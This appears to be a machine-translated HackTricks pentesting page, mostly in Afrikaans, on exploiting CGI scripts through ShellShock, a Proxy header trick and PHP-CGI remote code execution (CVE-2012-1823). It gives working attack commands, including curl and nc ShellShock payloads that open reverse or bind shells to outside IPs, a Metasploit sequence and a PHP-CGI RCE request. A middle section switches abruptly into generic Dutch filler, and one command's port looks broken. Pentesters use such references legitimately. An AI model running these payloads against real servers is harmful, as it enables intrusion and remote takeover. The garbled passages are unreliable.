Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
# Inligting Die **CGI-skripte is perl-skripte**, so as jy 'n bediener gekompromitteer het wat _**.cgi**_ skripte kan uitvoer, kan jy 'n perl-omgekeerde dop **oplaai** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), die **uitbreiding verander** van **.pl** na **.cgi**, **uitvoerregte gee** \(`chmod +x`\) en die omgekeerde dop **vanaf die webblaaier toegang** om dit uit te voer. Om te toets vir **CGI-gebreke**, word dit aanbeveel om `nikto -C all` \(en al die invoegtoepassings\) te gebruik. # **ShellShock** **ShellShock** is 'n **kwesbaarheid** wat die wyd gebruikte **Bash** opdraglyn-skulp in Unix-gebaseerde bedryfstelsels affekteer. Dit teiken die vermoë van Bash om opdragte uit te voer wat deur aansoeke oorgedra word. Die kwesbaarheid lê in die manipulasie van **omgewingsveranderlikes**, wat dinamiese benoemde waardes is wat impak het op hoe prosesse op 'n rekenaar uitgevoer word. Aanvallers kan dit uitbuit deur **skadelike kode** aan omgewingsveranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer. Deur hierdie kwesbaarheid te misbruik, kan die **bladsy 'n fout gooi**. Jy kan hierdie kwesbaarheid **vind** deur op te let dat dit 'n **ou Apache-weergawe** en **cgi\_mod** \(met cgi-lys\) gebruik of deur **nikto** te gebruik. ## **Toets** Die meeste toetse is gebaseer op die uitvoer van 'n string en verwag dat daardie string in die web-terugvoer teruggegee word. As jy dink 'n bladsy mag kwesbaar wees, soek na al die cgi-bladsye en toets hulle. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` ## **Curl \(weerspieëlde, blinde en out-of-band\)** Curl is 'n nuttige hulpmiddel wat gebruik kan word vir die toetsing van CGI-skripsies. Dit kan gebruik word om HTTP-aanvrae na 'n webbediener te stuur en die respons te ontleed. Hier is 'n paar maniere waarop Curl gebruik kan word vir die toetsing van CGI-skripsies: weerspieëlde, blinde en out-of-band aanvalle. ### Weerspieëlde aanvalle By 'n weerspieëlde aanval word die aanvallersinvoer direk in die HTTP-aanvraag ingesluit. Die webbediener sal die invoer dan verwerk en die uitset sal in die HTTP-respons teruggegee word. Dit kan gebruik word om te kyk of daar enige kwesbaarhede in die CGI-skripsie is wat die aanvaller kan uitbuit. ### Blinde aanvalle By 'n blinde aanval word die aanvallersinvoer nie direk in die HTTP-respons ingesluit nie. In plaas daarvan sal die aanvaller 'n manier moet vind om die uitset van die aanvraag op 'n ander manier te ondersoek. Dit kan gedoen word deur te kyk na veranderinge in die gedrag van die webbediener of deur die aanvraag na 'n ander kanaal te stuur, soos 'n e-pos of 'n loglêer. ### Out-of-band aanvalle By 'n out-of-band aanval word die aanvallersinvoer gebruik om 'n ander tipe kommunikasie te inisieer, soos DNS- of HTTP-aanvrae na 'n eksterne bediener. Die aanvaller kan dan die respons van hierdie aanvrae gebruik om inligting te verkry of verdere aanvalle uit te voer. Curl is 'n kragtige hulpmiddel wat verskeie aanvalstegnieke ondersteun. Dit kan gebruik word om CGI-skripsies te toets vir kwesbaarhede en om die veiligheid van 'n webtoepassing te verbeter. ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' # Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump) curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi # Out-Of-Band Use Cookie as alternative to User-Agent curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh ``` [**Shellsocker**](https://github.com/liamim/shellshocker) ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` ## Uitbuiting Om een CGI-kwetsbaarheid uit te buiten, moet je eerst de kwetsbaarheid identificeren en begrijpen hoe deze kan worden misbruikt. Hier zijn enkele veelvoorkomende methoden om CGI-kwetsbaarheden uit te buiten: ### Command Injection Bij command injection maak je gebruik van het feit dat de invoer van de gebruiker direct wordt doorgegeven aan het besturingssysteem. Je kunt kwaadaardige commando's invoeren om opdrachten uit te voeren op de server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem. ### Path Traversal Bij path traversal maak je gebruik van het feit dat de CGI-toepassing bestanden op de server kan lezen. Je kunt speciale tekens gebruiken om de bestandsnaam te manipuleren en toegang te krijgen tot bestanden buiten de beoogde directory. Dit kan leiden tot het lekken van gevoelige informatie of het uitvoeren van ongeautoriseerde acties. ### File Inclusion Bij file inclusion maak je gebruik van het feit dat de CGI-toepassing externe bestanden kan opnemen. Je kunt speciale tekens gebruiken om een externe URL op te geven en kwaadaardige code uit te voeren vanaf een externe server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem. ### Denial of Service (DoS) Bij een Denial of Service-aanval maak je gebruik van het feit dat de CGI-toepassing kwetsbaar is voor overbelasting. Je kunt een groot aantal verzoeken naar de server sturen om de server te overbelasten en onbeschikbaar te maken voor legitieme gebruikers. ### Remote Code Execution (RCE) Bij Remote Code Execution maak je gebruik van het feit dat de CGI-toepassing externe code kan uitvoeren. Je kunt kwaadaardige code invoeren om opdrachten uit te voeren op de server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem. ### SQL Injection Bij SQL Injection maak je gebruik van het feit dat de CGI-toepassing onvoldoende sanitizing uitvoert op SQL-query's. Je kunt kwaadaardige SQL-instructies invoeren om de database te manipuleren, gevoelige informatie te verkrijgen of toegang te krijgen tot het systeem. ### Cross-Site Scripting (XSS) Bij Cross-Site Scripting maak je gebruik van het feit dat de CGI-toepassing onvoldoende sanitizing uitvoert op gebruikersinvoer. Je kunt kwaadaardige scripts invoeren die worden uitgevoerd in de browser van andere gebruikers. Dit kan leiden tot het stelen van sessiecookies, het uitvoeren van phishing-aanvallen of het verkrijgen van toegang tot gevoelige informatie. ### Remote File Inclusion (RFI) Bij Remote File Inclusion maak je gebruik van het feit dat de CGI-toepassing externe bestanden kan opnemen. Je kunt speciale tekens gebruiken om een externe URL op te geven en kwaadaardige code uit te voeren vanaf een externe server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem. ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 #Reverse shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80 #Reverse shell using curl curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi #Reverse shell using metasploit > use multi/http/apache_mod_cgi_bash_env_exec > set targeturi /cgi-bin/admin.cgi > set rhosts 10.1.2.11 > run ``` # **Proxy (MitM na Web-bedienerversoeke)** CGI skep 'n omgewingsveranderlike vir elke kop in die HTTP-versoek. Byvoorbeeld: "host: web.com" word geskep as "HTTP_HOST" = "web.com" Aangesien die HTTP_PROXY-veranderlike deur die web-bediener gebruik kan word. Probeer om 'n **kop** te stuur wat "**Proxy: <IP_aanvaller>:<POORT>**" bevat en as die bediener enige versoek gedurende die sessie uitvoer. Jy sal in staat wees om elke versoek wat deur die bediener gemaak word, vas te vang. # Oue PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311) Basies, as cgi aktief is en php "oud" is (<5.3.12 / < 5.4.2), kan jy kode uitvoer. Om van hierdie kwesbaarheid gebruik te maak, moet jy toegang verkry tot 'n PHP-lêer van die web-bediener sonder om parameters te stuur (veral sonder om die karakter "=" te stuur). Daarna, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld `/index.php?-s` (let op die `-s`) toegang en die **bronkode van die toepassing sal in die respons verskyn**. Daarna kan jy, om **RCE** te verkry, hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP-kode** wat in die **liggaam van die versoek uitgevoer moet word. Voorbeeld: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **Meer inligting oor die kwesbaarheid en moontlike aanvalle:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Voorbeeld**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositorium.